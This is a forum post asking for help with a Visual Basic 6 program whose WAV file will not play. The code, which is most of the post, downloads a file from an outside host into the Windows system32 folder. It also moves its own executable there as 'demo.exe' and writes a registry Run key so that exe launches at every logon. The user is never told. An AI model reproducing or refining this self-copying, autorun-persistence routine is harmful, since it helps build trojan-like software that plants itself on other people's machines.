|
File download transfer is no problem, the registry is also no problem, just can't play that wav file, what can I ask?
Thank you
Option Explicit
'Example Name: URL Download
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'Constant declaration of the primary key, easy to read the following code
Const HKEY_CLASSES_ROOT =&H80000000
Const HKEY_CURRENT_USER =&H80000001
Const HKEY_LOCAL_MACHINE =&H80000002
Const HKEY_USERS =&H80000003
Const HKEY_PERFORMANCE_DATA =&H80000004
Const HKEY_CURRENT_CONFIG =&H80000005
Const HKEY_DYN_DATA =&H80000006
'Constant declaration of the data type
Const REG_NONE = 0
Const REG_SZ = 1
Const REG_EXPAND_SZ = 2
Const REG_BINARY = 3
Const REG_DWORD = 4
Const REG_DWORD_BIG_ENDIAN = 5
Const REG_MULTI_SZ = 7
'API function declaration, note that the following function declaration must be written in one line
'Create primary key (with open function)
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
'Registry handle close function
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'Used to modify the key value
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Function DownloadFile (URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile (0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load ()
Dim fso As New FileSystemObject
Dim file As file
Dim dst As String
Dim hKey As Long
Dim Res As Integer, Ret As String * 1024
dst = "C:\WINDOWS\system32\demo.wav"
Select Case App.Path
Case "C:\WINDOWS\system32"
mciExecute "play C:\WINDOWS\system32\demo.wav"
Case Else
DownloadFile "http://our14.uu1001.com/job.php?action=download&pid=tpc&tid=7&aid=11", dst
Set file = fso.GetFile (App.Path + "\" + App.EXEName + ".exe")
file.Move "C:\WINDOWS\system32\demo.exe"
RegCreateKey HKEY_CURRENT_USER, "software\microsoft\windows\currentversion\run\", hKey
RegSetValueEx hKey, "demo", 0, REG_SZ, ByVal "C:\WINDOWS\system32\demo.exe", 200
RegCloseKey hKey
mciExecute "play C:\WINDOWS\system32\demo.wav"
End Select
End
End Sub |
|